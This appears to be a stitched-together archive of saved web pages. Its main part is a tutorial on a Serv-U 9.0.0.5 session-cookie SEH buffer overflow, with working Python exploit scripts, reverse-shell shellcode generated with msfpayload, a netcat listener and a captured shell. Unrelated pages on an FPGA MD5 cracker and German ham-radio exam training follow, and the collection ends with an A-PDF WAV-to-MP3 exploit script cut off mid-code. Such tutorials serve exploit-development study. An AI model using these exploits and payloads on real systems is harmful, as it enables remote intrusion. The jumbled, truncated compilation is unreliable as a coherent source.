**Tags:**| _Debugging Exploit programming_  
  

### Windows Buffer Overflow Tutorial: Dealing with Character Translation

**Introduction**  
  
This is the third entry in my series of buffer overflow tutorials.  
  
In case you missed them, here are entries one and two. These tutorials are
designed to build upon skills taught in each of the preceding tutorials, so I
recommend that you complete the first two before you attempt this one.  
  
In this entry we will be doing another SEH Stack based overflow, however in
this case our buffer will be translated into a hexadecimal value in memory at
the point where the SEH overflow occurs. This requires us to structure our
buffer slightly differently, and also requires us to use a different method to
find our SEH overwrite offset.  
  
The vulnerable application we will be using is Serv-U 9.0.0.5, which has an
exploitable vulnerability related to its handling of overly long Session
cookie values.  
  
Warning\! Please note that this tutorial is intended for educational purposes
only, and you should NOT use the skills you gain here to attack any system for
which you don't have permission to access. It's illegal in most jurisdictions
to access a computer system without authorisation, and if you do it and get
caught \(which is likely\) you deserve whatever you have coming to you. Don't
say you haven't been warned.  
  
  
**Required Knowledge**  
  
To follow this tutorial you will need to have basic knowledge of:  

  * TCP/IP networking,
  * management of the Windows Operating System \(including installing software, running and restarting services, connecting to remote desktop sessions, etc\), and
  * running Python scripts. 

  
You need to have good enough knowledge of the attacking system you use
\(whether it be BackTrack, another type of Linux, Windows or anything else\)
to be able to run programs and scripts as well as transfer files.  
  
Knowledge of basic debugger usage with OllyDbg, including the ability to start
and attach to programs, insert breakpoints, step through code, etc, is
expected. This is covered in my first tutorial.  
  
I will also expect at this stage that you know how a SEH Based Buffer Overflow
exploit is achieved. This is covered in my second tutorial.  
  
Python programming skills and knowledge of Metasploit usage are a bonus but
not required.  
  
  
**System Setup**  
  
In order to reproduce this exploit for the tutorial, I used a victim system
running Windows XP SP2, and a attacking system running BackTrack 4 Final.  
  
You don't need to reproduce my setup exactly, but I would suggest sticking to
Windows XP SP2 or earlier for the victim system. The attacking system can be
anything you feel comfortable in, as long as it can run the software I have
specified below, and as long as you are able to translate the Linux commands I
will be listing below into something appropriate for your chosen system.  
  
If required, you can get a XP SP2 Virtual Machine to use as your victim by
following the instructions in the Metasploit Unleashed course, starting in the
section "02 Required Materials" \- "Windows XP SP2" up to the section entitled
"XP SP2 Post Install".  
  
Your victim system must also use a X86 based processor.  
  
In this tutorial my attacking and victim systems used the following IP
Addresses. You will need to substitute the addresses of your own systems where
ever these addresses appear in the code or commands listed below.  

  * Attacker system: 192.168.20.11
  * Victim system: 192.168.10.27

  
The two systems are networked together and I have interactive GUI access to
the desktop of the victim system via a remote desktop session. You will need
to be able to easily and quickly switch between controlling your attacking
system and the victim system when following this tutorial, and you will need
to be able to transfer files from your victim system to the attacking system,
so make sure you have things set up appropriately before you proceed.  
  
  
**Required Software on Attacking and Victim Systems**  
  
Your attacker and victim systems will need the following software installed in
order to follow this tutorial. By using BackTrack 4 Final for your attacking
system you will take care of all the attacking system prerequisitites.  
  
The attacking system requires the following software:  

  * Python interpreter
  * Metasploit 3.x
  * Text Editor
  * Netcat

  
The victim system requires the following software:  

  * Serv-U 9.0.0.5 \(get it via the "Vulnerable Software" link in the original POC exploit at the Offensive Security Exploit Database\)
  * OllyDbg 1.10

  
For this particular exploit, we need to send a rather large buffer to the
vulnerable application, so ensure that the network between the two systems is
reliable. If you are having issues reproducing the exploitable crash, the
networking layer could be causing the problem. Confirm that you are not
getting RST packets from the victim system while sending the malicious HTTP
request if you can't make the application crash. If this is the case then you
will need to troubleshoot the problem at the network layer.  
  
Serv-U also doesn't give you an obvious error when it isn't listening on port
80 because some other application has already bound to that port. Confirm the
process that is listening on port 80 by using the following commands:  
  
Check the output of the following for the process listening on port 80 and
note its process ID \(PID\):  
  

> netstat -ano  
>
  
Match the PID listening on port 80 with its process name using the output from
the below and ensure that the Serv-U.exe process is the one listening on port
80:  
  

> tasklist  
>
  
Ensure that all required software is installed and operational before you
proceed with this tutorial.  
  
  
**Attaching the Serv-U Application to a Debugger**  
  
I have covered the process of attaching a vulnerable application to a debugger
extensively in my last two tutorials, so I will just provide a very brief
overview of the process here.  
  
The process that you want to attach to in OIllyDbg is named Serv-U.exe, and by
default it will be installed as a Windows service named "Serv-U File Server".
Stop and start the process by using the Services Control Panel option, and use
OllyDbg to attach to the process once it is running.  
  
As before, you will need to restart the vulnerable process and reattach to it
in the debugger each time you want to reproduce the exploitable crash.  
  
  
**Triggering the Exploitable Crash**  
  
After checking the POC in the original advisory, looking at other examples of
the exploit, and one other advisory, I discovered that the exploitable crash
can be reproduced by sending an overly long Session cookie to the Serv-U
application in a HTTP Post request.  
  
After some trial and error involving sending different buffer sizes to the
Serv-U application, and viewing the structure of the stack in the debugger, I
eventually settled on a Session cookie size of 96000 bytes as being optimal
for exploitation. I won't reproduce the entire process I used here, because it
makes for pretty boring reading, but it basically involved modifying the size
of the buffer sent, and confirming that the SEH Handler on the stack was
overwritten and that there was space inside our sent buffer after the SEH
Handler. The second criteria is not absolutely necessary, but it makes
exploitation slightly easier.  
  
Since the crash is triggered by a Session Cookie sent in a Post request, we
can essentially trigger it via sending the following to port 80 on the target
system:  
  

> POST / HTTP/1.1  
>  Host: Hostname  
>  Cookie: Session=\[96000 characters\]  
>
  
A skeleton exploit that will trigger the crash by sending a long string of "A"
characters \(the ASCII representation of a byte value 0x41\) is shown below:  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  buffer= "\x41" \* 96000  
>  
>  postreq="POST / HTTP/1.1\r\n"  
>  postreq+= "Host: " \+ target\_address + "\r\n"  
>  postreq+= "Cookie: Session=" \+ buffer + "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(postreq\)  
>  sock.close\(\)  
>
  
When we trigger this crash we will get an access violation, and if we check
the SEH Chain \(View->SEH Chain menu option\) we see that it has been
overwritten with 'AAAAAAAA'.  
  

<img src='img/Temp2_8130.png' />  

  
This is unusual, because we sent the application a buffer full of 0x41 bytes,
and if the SEH Handler had been overwritten from our buffer we would normally
expect to see a value of 41414141, or four lots of 41. Instead, each byte that
makes up the the SEH Handler overwrite has the value 'AA'.  
  
It looks as though the ASCII representation of the bytes we have sent \(which
is 'A' for 0x41\), have been converted to a hexadecimal nibble \(half a byte\)
so that the value of two of the bytes we have sent are now represented in a
single byte in memory.  
  
Lets further test this theory by sending some different values in our buffer
and checking to see how they are represented in memory when the application
crashes.  
  
Lets try sending 'abcd' \(lower case\) to the application.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  buffer="abcd" \* 24000  
>  
>  postreq="POST / HTTP/1.1\r\n"  
>  postreq+= "Host: " \+ target\_address + "\r\n"  
>  postreq+= "Cookie: Session=" \+ buffer + "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(postreq\)  
>  sock.close\(\)  
>
  
At the time of this crash, the SEH Handler points to CDABCDAB.  
  

<img src='img/Temp2_8129.png' />  

  
  
The 'abcd' has been translated to hexadecimal ABCD, apparently that fact that
our ASCII string was lower case didnt stop this Hexadecimal translation from
occurring. Lets try 'fghi'. \(For the next few examples to conserve space I
will only show the lines of code I changed\)  
  

> buffer="fghi" \* 24000  
>
  
This time the SEH Handler points to Crash points to 000F000F. The lowercase
'f' was converted to a Hexadecimal F, and the 'ghi' characters, which don't
have a Hexadecimal equivalent, were converted to 0.  
  
Lets try one more - 'efgh'.  
  

> buffer="efgh" \* 24000  
>
  
This time the SEH Handler points to 00EF00EF. So ASCII characters A-F,
regardless of case, are translated to hexadecimal values A-F, and any other
character converts to a 0.  
  
Lets do a check with numbers '0123' to confirm our Hexadecimal theory.  
  

> buffer="0123" \* 24000  
>
  
This time, the SEH Handler value is 23012301. So our ASCII string of
characters that we send to the application in the Session cookie is
interpreted as a Hexadecimal value in the memory buffer that overwrites the
SEH Handler.  
  
  
**Finding the Overwrite Location**  
  
In the previous two tutorials, we found offset values within our buffer via
using the Metasploit pattern\_create.rb script. This method is not going to
work in this case however, because the Metasploit script uses characters
outside of the 0-9, A-F range, and it uses both uppercase and lowercase
characters. Any of these out of range characters will be translated to a 0, or
the case information for the A-F characters will be lost, and this will
prevent us from being able to provide the correct input value to
pattern\_offset.rb to find the offset.  
  
We will have to use a different method to find the overwrite location. Knowing
that characters 0-9 and A-F will be represented in the memory display we see
in the debugger, we can use a set of structured buffer made up of these
characters only to narrow down the exact overwrite location.  
  
Given that we have 16 characters we can use, we first break the buffer of
96000 into 16 x 6000 character blocks. Then, based on what the overwrite value
of the SEH Handler is, we will know which 6000 character block our overwrite
occurs in. The following code will do this for us:  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  buffer = ""  
>  
>  for i in range\(0, 16\):  
>  buffer += hex\(i\)\[2:\].upper\(\) \* 6000  
>  
>  postreq="POST / HTTP/1.1\r\n"  
>  postreq+= "Host: " \+ target\_address + "\r\n"  
>  postreq+= "Cookie: Session=" \+ buffer + "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(postreq\)  
>  sock.close\(\)  
>
  
When we run this exploit, the value of the SEH Handler is set to DDDDDDDD. If
you want to, you can confirm that the buffer is structured as expected by
right clicking on the SEH Handler Value in the SEH Chain window and selecting
Follow address in stack.  
  

<img src='img/Temp2_8135.png' />  

  
On the stack you should be able to see that the SEH Handler sits within a
large buffer of D values \(with the exception of some minor mangling just
before the SEH Handler\).  
  

<img src='img/Temp2_8127.png' />  

  
This means that our overwrite occurs in the 'D' section of our buffer. This
gives us a range of 78000 and 84000 where our overwrite location sits, given
that 0xD x 6000 is 78000 and 0xE x 6000 is 8400.  
  
Now lets narrow this down further. 6000 divided by 16 is 375. Lets create a
buffer of mostly 'A' characters, but lets put a block of 6000 characters made
up of an even distribution of values 0-9 and A-F \(375 of each\) between bytes
78000 and 84000.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  buffer="\x41" \* 78000  
>  
>  for i in range\(0, 16\):  
>  buffer+=hex\(i\)\[2:\].upper\(\) \* 375  
>  
>  buffer+="\x41" \* \(96000 - len\(buffer\)\)  
>  
>  postreq="POST / HTTP/1.1\r\n"  
>  postreq+= "Host: " \+ target\_address + "\r\n"  
>  postreq+= "Cookie: Session=" \+ buffer + "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(postreq\)  
>  sock.close\(\)  
>
  
The next value of the SEH Handler is AAAAAAAA. This means that the overwrite
occurs between bytes 3750 \(0xA x 375\) and 4125 \(0xB x 375\) within our 6000
byte buffer, or between bytes 81750 \(3750 + 78000\) and 82125 \(4125 +
78000\) within the total buffer.  
  
If we check the overwrite location on the stack we can see the 'B' values
starting a little bit below the block of 'A' values that have overwritten our
SEH Handler, so we know that we are within our 6000 mixed block.  
  

<img src='img/Temp2_8128.png' />  

  
  
Lets narrow it down once more. 375 doesn't divide evenly by 16, so we will use
a block of 24 sets of 0-9 and A-F characters, making for a total block of 384.
As long as we completely cover the 375 character space that we know our
overwrite location sits within, it doesnt matter if we go a bit over. We
insert this set of mixed characters into the 375 byte window where we know our
overwrite location sits - sometime after byte 81750.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  buffer="\x41" \* 81750  
>  
>  for i in range\(0, 16\):  
>  buffer+=hex\(i\)\[2:\].upper\(\) \* 24  
>  
>  buffer+="\x41" \* \(96000 - len\(buffer\)\)  
>  
>  postreq="POST / HTTP/1.1\r\n"  
>  postreq+= "Host: " \+ target\_address + "\r\n"  
>  postreq+= "Cookie: Session=" \+ buffer + "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(postreq\)  
>  sock.close\(\)  
>
  
This again gives us a SEH Handler value of AAAAAAAA and when we check the
stack we can see that the SEH Overwrite occurs after the tenth A character,
and the pointer to the next SEH record \(the 4 bytes immediately before the
SEH overwrite\) also has the value AAAAAAAA, and occurs after the second A
character.  
  

<img src='img/Temp2_8132.png' />  

  
From this we can actually work out the exact overwrite address. For the
pointer to the next SEH record it is 2 + 240 \(0xA x 24\) + 81750 = 81992.  
  
Lets restructure our skeleton exploit and see if the SEH Handler is
overwritten by the expected value of CCCCCCCC.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  buffer="\x41" \* 81992  
>  buffer+="BBBBBBBB" \# Next SEH pointer  
>  buffer+="CCCCCCCC" \# SEH Overwrite  
>  
>  buffer+="\x41" \* \(96000 - len\(buffer\)\)  
>  
>  postreq="POST / HTTP/1.1\r\n"  
>  postreq+= "Host: " \+ target\_address + "\r\n"  
>  postreq+= "Cookie: Session=" \+ buffer + "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(postreq\)  
>  sock.close\(\)  
>
  
Success\! We get a value of CCCCCCCC in the SEH Handler.  
  
  
**Finding a SEH Handler Overwrite Address**  
  
Now that we know the exact offset of the SEH Handler overwrite within our
buffer, we need to find an appropriate address that can allow us to gain
control of code execution via the Windows error handling routines.  
  
As discussed in my previous tutorial on SEH Buffer Overflow exploitation, we
need to find a module loaded by the application that hasnt been compiled with
the /SafeSEH ON option AND which hasn't disabled all addresses in that module
being used as SEH Handlers by using the IMAGE\_DLLCHARACTERISTICS\_NO\_SEH
flag.  
  
As it did in the last tutorial, the OllySSEH Ollydbg Plugin crashed for me
again, so Im doing things the slightly harder way once more.  
  
I checked the list of loaded modules in OllyDbg \(View->Executable Modules
menu option\) and looked first for a third party module loaded with the
application.  
  

<img src='img/Temp2_8134.png' />  

  
  
As mentioned in my previous tutorials, a third party module \(in other words
one provided with the application itself\) has the benefits of usually being
compiled without the /SafeSEH ON and IMAGE\_DLLCHARACTERISTICS\_NO\_SEH
options, making it suitable for use with SEH overwrite exploits. It also
provides a stable overwrite location that should work across multiple
Operating Systems, since dlls provided with the application should be
identical and should be loaded from the same base address on different
systems.  
  
Looking at the list I picked the first module provided with the Serv-U
application that did not have a leading zero byte in the base address -
libeay32.dll. I picked a module without a leading zero byte because zero bytes
usually break buffer overflows, however it turns out in this case this doesn't
actually matter because the character conversion that occurs creates each byte
that appears in memory from two ASCII characters sent from our exploit. This
means that we can actually create a zero byte in memory if we wish by using
two ASCII zeros \(\x30\), effectively giving us no bad characters in this
exploit\!  
  
Lets transfer this file to our attacking system and analyse it with msfpescan
to confirm that it doesn't have the compiler options set that would make it
unsuitable for use in providing a SEH Overwrite address.  
  

> user@bt:/tmp$ msfpescan -i libeay32.dll | grep -E '\(DllCharacteristics|SEHandler\)'  
>  DllCharacteristics 0x00000000  
>
  
Remember that If we see any SEHandler entries, it means that a SEH Handler
exists in the dll and that the module was compiled with /SafeSEH ON. We see no
such entries here, so we are safe on this count.  
  
In the DllCharacteristics value, we want to confirm that the third byte from
the left does not have the '4' bit set to confirm that the module does not
have the IMAGE\_DLLCHARACTERISTICS\_NO\_SEH flag set. If the value of the
third byte \(the one marked by 'X' in 0x00000X00\) is not '4, 5, 6, 7, C, E or
F' \(in other words if the '4' bit or 00000100 is not on\), then the module
does not have this flag set. The third byte does not have the 4 bit set, so we
are safe on this count as well.  
  
Now lets proceed with finding an appropriate overwrite address in
libeay32.dll. As discussed in my SEH Buffer Overflow tutorial, to take control
of code execution, we can enter into our buffer by using a RETN instruction on
the third value on the stack at the time that the initial exception is handled
using the Structured Exception Handler. To do this we look for a POP, POP,
RETN instruction in libeay32.dll.  
  
View the code of libeay32.dll in OllyDbg \(right click on it in the Executable
Modules window and hit Enter or right click and select View code in CPU\), and
right click in the CPU pane and select Search for->Sequence of commands.  
  
Enter the following commands to be searched for and hit Find:  
  

> POP r32  
>  POP r32  
>  RETN  
>
  
Like so:  
  

<img src='img/Temp2_8131.png' />  

  
  
I found my a POP, POP, RETN instruction at 0FB010C1 in libeay32.dll which I
will use to overwrite the SEH Handler to gain control of the CPU.  
  

<img src='img/Temp2_8133.png' />  

  
  
  
**Making use of the Character Translation to Gain Control of Code Execution**  
  
Now if you remember from my first SEH Overflow tutorial, running the POP, POP,
RETN instructions takes us into our buffer four bytes before the SEH Handler
address. What we want to do to give us some usable buffer space to work in is
to jump over the overwritten SEH Handler to the uninterrupted buffer space
beyond. A JUMP SHORT 6 instruction will achieve this for us, but remember that
we cant just enter the \xeb\x06 into our buffer directly because of the
character translation to Hexadecimal. What we need to do is instead enter the
ASCII equivalent of "EB06" and let the Hexadecimal translation convert this
for us to the byte equivalent.  
  
We also need to ensure that when we enter the overwrite location we take into
account the little endian order of the x86 CPU, so we enter the overwrite
location of 0FB010C1 as "C110B00F". Lets see the skeleton exploit:  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  buffer="\x41" \* 81992  
>  buffer+="EB069090" \# Next SEH pointer \xeb\x06 JUMP SHORT 6, \x90\x90 NOP
> Padding  
>  buffer+="C110B00F" \# SEH Overwrite 0FB010C1 POP EBX, POP ECX, RETN
> libeay32.dll  
>  
>  buffer+="\x41" \* \(96000 - len\(buffer\)\)  
>  
>  postreq="POST / HTTP/1.1\r\n"  
>  postreq+= "Host: " \+ target\_address + "\r\n"  
>  postreq+= "Cookie: Session=" \+ buffer + "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(postreq\)  
>  sock.close\(\)  
>
  
If you set a breakpoint on the SEH Handler address and run this exploit, after
you pass the exception through to the application to handle using the Shift +
F9 keys, you should now be able to step execution through to the area of the
buffer after the SEH Handler using the F7 key.  
  
Remember that to set a breakpoint you can either select the address in the CPU
pane and hit F2 or just hit F2 on the entry on the SEH Chain window once the
crash has been triggered.  
  
  
**Adding the Shellcode**  
  
Now we have control of the CPUs execution path, we need to add some shellcode
to our exploit so it will do something useful. Again, we won't be able to
directly add the bytes of the shellcode directly to our exploit, we will need
to convert them to ASCII characters first.  
  
This command below will generate some reverse shell shellcode, and convert it
to a workable format that can be easily pasted into our exploit.  
  

> user@bt:~$ msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11 LPORT=443 R | xxd -ps | tr 'a-f' 'A-F' | sed 's/0A$//' | sed 's/$/"/' | sed 's/^/"/'  
>  "FCE8890000006089E531D2648B52308B520C8B52148B72280FB74A2631FF"  
>  "31C0AC3C617C022C20C1CF0D01C7E2F052578B52108B423C01D08B407885"  
>  "C0744A01D0508B48188B582001D3E33C498B348B01D631FF31C0ACC1CF0D"  
>  "01C738E075F4037DF83B7D2475E2588B582401D3668B0C4B8B581C01D38B"  
>  "048B01D0894424245B5B61595A51FFE0585F5A8B12EB865D683332000068"  
>  "7773325F54684C772607FFD5B89001000029C454506829806B00FFD55050"  
>  "50504050405068EA0FDFE0FFD589C768C0A8140B68020001BB89E66A1056"  
>  "576899A57461FFD568636D640089E357575731F66A125956E2FD66C74424"  
>  "3C01018D442410C60044545056565646564E565653566879CC3F86FFD589"  
>  "E04E5646FF306808871D60FFD5BBF0B5A25668A695BD9DFFD53C067C0A80"  
>  "FBE07505BB4713726F6A0053FFD5"  
>
  
An explanation of what this command is doing may be helpful. We run msfpayload
using the R option to provide the output in raw bytes, and we then pipe this
into 'xxd -ps' to convert the binary output from msfpayload into the
Hexadecimal representation of the values of each individual byte. This is
similar to what you would see in a Hex Editor and also similar to the C output
format of msfpayload without the \x characters before each byte.  
  
When then pipe this into 'tr 'a-f' 'A-F''. This is not strictly necessary
since the case of the A-F characters doesn't matter for the purpose of the
Hexadecimal translation, Im just doing it to make what we enter visually match
what appears in the debugger.  
  
Then we pipe that into 'sed 's/0A$//'' which removes the trailing line feed
character added by msfpayload. We then pipe into 'sed 's/$/"/'' and 'sed
's/^/"/'' which adds double quotes to the end and start of each line for
easier pasting into our exploit.  
  
Lets see what the final exploit code looks like.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=80  
>  
>  buffer="\x41" \* 81992  
>  buffer+="EB069090" \# Next SEH pointer \xeb\x06 JUMP SHORT 6, \x90\x90 NOP
> Padding  
>  buffer+="C110B00F" \# SEH Overwrite 0FB010C1 POP EBX, POP ECX, RETN
> libeay32.dll  
>  \#msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11 LPORT=443 R | xxd -ps | tr 'a-f' 'A-F' | sed 's/0A$//' | sed 's/$/"/' | sed 's/^/"/'  
>  buffer+=\("FCE8890000006089E531D2648B52308B520C8B52148B72280FB74A2631FF"  
>  "31C0AC3C617C022C20C1CF0D01C7E2F052578B52108B423C01D08B407885"  
>  "C0744A01D0508B48188B582001D3E33C498B348B01D631FF31C0ACC1CF0D"  
>  "01C738E075F4037DF83B7D2475E2588B582401D3668B0C4B8B581C01D38B"  
>  "048B01D0894424245B5B61595A51FFE0585F5A8B12EB865D683332000068"  
>  "7773325F54684C772607FFD5B89001000029C454506829806B00FFD55050"  
>  "50504050405068EA0FDFE0FFD589C768C0A8140B68020001BB89E66A1056"  
>  "576899A57461FFD568636D640089E357575731F66A125956E2FD66C74424"  
>  "3C01018D442410C60044545056565646564E565653566879CC3F86FFD589"  
>  "E04E5646FF306808871D60FFD5BBF0B5A25668A695BD9DFFD53C067C0A80"  
>  "FBE07505BB4713726F6A0053FFD5"\)  
>  buffer+="\x41" \* \(96000 - len\(buffer\)\)  
>  
>  postreq="POST / HTTP/1.1\r\n"  
>  postreq+= "Host: " \+ target\_address + "\r\n"  
>  postreq+= "Cookie: Session=" \+ buffer + "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(postreq\)  
>  sock.close\(\)  
>
  
Now lets set up a listener:  
  

> user@bt:~$ sudo nc -nvvlp 443  
>  listening on \[any\] 443 ...  
>
  
And we run the exploit:  
  

> user@bt:~$ sudo nc -nvvlp 443  
>  listening on \[any\] 443 ...  
>  connect to \[192.168.20.11\] from \(UNKNOWN\) \[192.168.10.27\] 2767  
>  Microsoft Windows XP \[Version 5.1.2600\]  
>  \(C\) Copyright 1985-2001 Microsoft Corp.  
>  
>  C:\WINDOWS\system32>  
>
  
We have shell\! This completes this exploit.

# Infinity Exists » Blog Archive » FPGA MD5 Cracker

**Created:**| _6/18/2009 10:44:02 PM_  
---|---  
**Updated:**| _6/18/2009 10:44:15 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

## FPGA MD5 Cracker

<img src='img/Temp2_4426.gif' /> June 16th, 2009 by <img
src='img/Temp2_4425.gif' /> Patchy

For my Digital Systems Laboratory \(ECE 385\) at the University of Illinois I
had to do a final project using a field-programmable gate array \(FPGA\). My
partner and I designed a hardware implementation of the MD5 algorithm and used
it to crack MD5 password hashes. A FPGA allows you to prototype large digital
circuits by utilizing a hardware description language such as VHDL. The FPGA
enabled us to create a large hardware system dedicated to cracking MD5
Passwords. The FPGA we used was the Altera DE2 Development Board with the
Cyclone II chip, and we were able to fit sixteen parallel MD5 Cracking units
onto the FPGA. Each unit is able to produce a MD5 hash in 68 clock cycles, and
since the FPGA has a clock rate of 50 MHz this system is able to produce over
44 million hashes a minute. The MD5 hash is inputted by the user through a
keyboard, and if the system finds a match, the clear text password is
displayed on a VGA monitor.  Full Scale Video Here  
Download Here  
Download FPGA MD5 Cracker Project Files

# AfuP - Prüfungstraining für das Amateurfunkzeugnis

**Created:**| _6/28/2012 8:23:18 AM_  
---|---  
**Updated:**| _6/28/2012 8:23:18 AM_  
**Author:**| __  
**Tags:**| _ham-radio_  
  

# Prüfungstraining für das Amateurfunkzeugnis

|

## Zweck der Übung

Diese Seiten sollen die Interessenten für das Amateurfunkzeugnis der Klasse A und E dabei unterstützen ihre Kenntnisse nach dem Studium des Stoffes zu festigen. Dazu können sie ihr Wissen über die jeweilige Amateurfunkprüfung und ihrer drei Prü­fungsteile anhand zufällig generierter Fra- gebögen testen und bekommen so eine Rückmeldung ihres aktuellen Wissens­standes. Der Fragenpool entspricht den aktuellen Ausgaben der "Prüfungsfragen im Prüfungs­teil Technische Kenntnisse bei Prüfungen zum Erwerb von Amateurfunkzeugnissen der Klasse A", den "Prüfungsfragen im Prüfungsteil Technische Kenntnisse bei Prüfungen zum Erwerb von Amateurfunk­zeugnissen der Klasse E" und den "Prü­fungsfragen in den Prüfungsteilen Betrieb­liche Kenntnisse und Kenntnisse von Vorschriften bei Prüfungen zum Erwerb von Amateurfunkzeugnissen", herausgegeben von der Bundesnetzagentur. Die Fragenkataloge können von der Bun­desnetzagentur bezogen werden \(siehe Links\). Immer wenn eine neue Ausgabe erscheint, wird der zugehörige Fragenpool umgehend aktualisiert. | 
## Historie

Der Prüfungsgenerator entstand bei der Vorbereitung auf einen Amateurfunkkurs
an der Volkshochschule Bretten, nachdem ich zwar die Seiten von W8MHB gesehen
hatte, aber nichts Vergleichbares für die Prüfungsvorbereitung der Klasse 3
\(E\) im Netz fand. Im November 2006 erfolgte die Umstellung des Fragenpools
auf die neue Klasse E, im März 2007 folgte die aktuelle Klasse A. Seit März
2003 gibt es auch eine ständig aktualisierte AfuP-Offline Version. Mein Dank
für die nächste Fragenkatalog­generation gilt Tobias, DF1NIF, für den
Technikteil der Klasse E, Jürgen, DG1YEB, für seinen Beitrag zum Technikteil
der Klasse A, Werner, DF8XO, für die wertvolle Unterstützung, sowie Matthias,
DD3MB, für die unermüdliche Fehlersuche und allen da­rüber hinaus Genannten
und Ungenannten für ihre Mithilfe. Diese Seiten können nicht als Ersatz für
Prüfungsunterlagen dienen. Unter dem Punkt Links findet sich geeigneter Inhalt
zur Vertiefung des Lernstoffes. Sollten Sie Fehler finden, Fragen haben oder
Kritik am Prüfungsgenerator äußern wollen, würde ich mich über Feedback
freu­en, z.B. durch einen Eintrag im AfuP Forum.  
---|---

# Tutorial write an exploit Part 2 | Michele Manzotti
**Created:**| _4/7/2012 11:15:27 AM_  
---|---  
**Updated:**| _4/7/2012 11:15:27 AM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials simple_  
  

## Tutorial write an exploit Part 2

Scarica l'articolo in formato PDF

After having fully understood the tutorial part 1 let’s go to read the second
one. In this tutorial we will see further techniques to exploit a BOF of the
program a-pdf, a tool to convert WAV to MP3.

### JUMP or CALL

With these techniques you use a register that contains the address where the
shellcode resides and put it in EIP. This technique has been described in the
tutorial part 1, with variant that could be used with a call instead of jmp.

[code]

    #!/usr/bin/env python
     
    # http://www.exploit-db.com/exploits/14681/
     
    #################################################################################
    #
    # Title:    A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit
    # Exloit By:    Dr_IDE
    # Tested On:    XPSP3
    # Date:        August 18, 2010
    # Download:     http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
    # Reference:    http://www.exploit-db.com/exploits/14676/
    # Usage:    Import File, Select It, Click Play, Calc.
    #
    # EDB Notes:
    # This exploit uses SEH to gain code execution, while EDB 14676 uses a direct
    # EIP overwrite which is operating system specific.
    #
    #################################################################################
     
    # windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH
     
    buff = ("\x41" * 4128);
    # 1002F1C3 call esp in lame_enc.dll
    eip = ("\xc3\xf1\x02\x10");
    nops = ("\x90" * 16);
    shellcode = ("\x33\xc9\xb8\x57\xba\xf8\x4b\xdb\xda\xb1\x33\xd9\x74\x24\xf4"
    "\x5b\x83\xeb\xfc\x31\x43\x0d\x03\x43\x5a\x58\x0d\xb7\x8c\x15"
    "\xee\x48\x4c\x46\x66\xad\x7d\x54\x1c\xa5\x2f\x68\x56\xeb\xc3"
    "\x03\x3a\x18\x50\x61\x93\x2f\xd1\xcc\xc5\x1e\xe2\xe0\xc9\xcd"
    "\x20\x62\xb6\x0f\x74\x44\x87\xdf\x89\x85\xc0\x02\x61\xd7\x99"
    "\x49\xd3\xc8\xae\x0c\xef\xe9\x60\x1b\x4f\x92\x05\xdc\x3b\x28"
    "\x07\x0d\x93\x27\x4f\xb5\x98\x60\x70\xc4\x4d\x73\x4c\x8f\xfa"
    "\x40\x26\x0e\x2a\x99\xc7\x20\x12\x76\xf6\x8c\x9f\x86\x3e\x2a"
    "\x7f\xfd\x34\x48\x02\x06\x8f\x32\xd8\x83\x12\x94\xab\x34\xf7"
    "\x24\x78\xa2\x7c\x2a\x35\xa0\xdb\x2f\xc8\x65\x50\x4b\x41\x88"
    "\xb7\xdd\x11\xaf\x13\x85\xc2\xce\x02\x63\xa5\xef\x55\xcb\x1a"
    "\x4a\x1d\xfe\x4f\xec\x7c\x95\x8e\x7c\xfb\xd0\x90\x7e\x04\x73"
    "\xf8\x4f\x8f\x1c\x7f\x50\x5a\x59\x81\xa1\x57\x74\x15\x18\x02"
    "\x35\x78\x9b\xf8\x7a\x84\x18\x09\x03\x73\x00\x78\x06\x38\x86"
    "\x90\x7a\x51\x63\x97\x29\x52\xa6\xf4\xac\xc0\x2a\xd5\x4b\x60"
    "\xc8\x29\x9e");
    sploit = (buff + eip + nops +  shellcode);
     
    try:
